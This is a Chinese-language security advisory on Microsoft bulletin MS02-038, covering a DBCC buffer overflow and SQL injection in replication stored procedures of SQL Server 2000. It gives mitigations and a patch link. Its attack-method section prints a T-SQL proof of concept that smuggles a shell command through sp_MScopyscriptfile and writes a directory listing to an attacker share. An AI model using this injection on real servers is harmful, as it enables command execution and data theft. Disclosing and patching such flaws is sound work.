微软安全公告MS02-038:SQL Server 2000允许用户执行任意指令/非法提升用户权限
涉及程序:
Microsoft SQL Server 2000, MSDE 2000
描述:
SQL Server 2000允许用户执行任意指令/非法提升用户权限
详细:
微软发布累积补丁包(Q316333),不仅包括以前 SQL Server 2000 所有补丁,还包括了最近被发现的影响SQL Server 2000 和 MSDE 2000 的两个缺陷。这两个缺陷都允许攻击者在目标服务器上执行任意代码或指令。
- 在several Database Consistency Checkers (DBCC)中存在一个缓冲溢出缺陷。DBCC(数据库一致性检查)是 SQL Server 2000 自带的一个命令控制程序,它提供了一些命令用于检查数据库的逻辑和物理一致性。提供的这些命令大部分只能被 sysadmin 使用,一些可供db_owner 和 db_ddladmin 使用。但是攻击者可利用DBCC存在的这个缓冲溢出缺陷,在SQL Server 服务的context中运行任意代码,从而获得对服务器上所有数据库的完全控制权限。
- 在数据库复制的两个存储进程中存在SQL injection 漏洞。其中一个存储进程仅能被 db_owner 运行,另外一个因为权限配置错误,能被任何可交互登陆到服务器上的用户使用。攻击者如果成功利用此缺陷的话,将能在服务器上运行操作系统命令。但是这将受到另外许多权限问题的限制。
用户如果注意以下几点将能控制这个缺陷产生的影响:
----------------------------------------------------------------------
在DBCC(数据库一致性检查)中的缓冲溢出缺陷:
- 除 sysadmin 外,只有 db_owner 和 db_ddladmin 能有使用DBCC提供的命令的权限,因此不要将 db_owner 和 db_ddladmin 这个角色赋予不信任用户;
- 这个缺陷允许攻击者去提升自己的权限,但是如果SQL被作为一个 normal domain account 来安装的话,将能把这种权限的提升限制到最小。
----------------------------------------------------------------------
数据库复制的两个存储进程中存在SQL injection 漏洞:
- 攻击者要想利用此缺陷至少必须能够交互式登陆到服务器上去。但是最好的还是不要给不信任用户这样的权限;
- 如果仅能简单地运行受影响的存储进程,攻击者是无法利用此缺陷的。只有在管理员将代理服务器帐号击活的前提下才能利用此缺陷,而且在缺省情况下,这个帐号是被禁止的。
- 即使代理服务器帐号被击活了,也只有攻击者同时是一个域用户(domain user)才能利用此缺陷进行攻击。
受影响软件:
Microsoft SQL Server 2000, Microsoft Desktop Engine(MSDE) 2000
风险等级:
============
- Internet systems: 中等
- Intranet systems: 中等
- Client systems: 没有
攻击方法:
declare @command varchar(100)
declare @scripfile varchar(200)
set concat_null_yields_null off
select @command='dir c:\ >
"\\attackerip\share\dir.txt"'
select @scripfile='c:\autoexec.bat > nul" | ' +
@command + ' | rd "'
exec sp_MScopyscriptfile @scripfile ,''
解决方案:
CNNS 建议用户立即下载补丁:
SQL Server 2000:
http://support.microsoft.com/support/misc/kblookup.asp?id=Q316333
附加信息:
MS02-038 / Q316333
CAN-2002-0085
相关站点:
http://www.microsoft.com/technet/security/bulletin/MS02-038.asp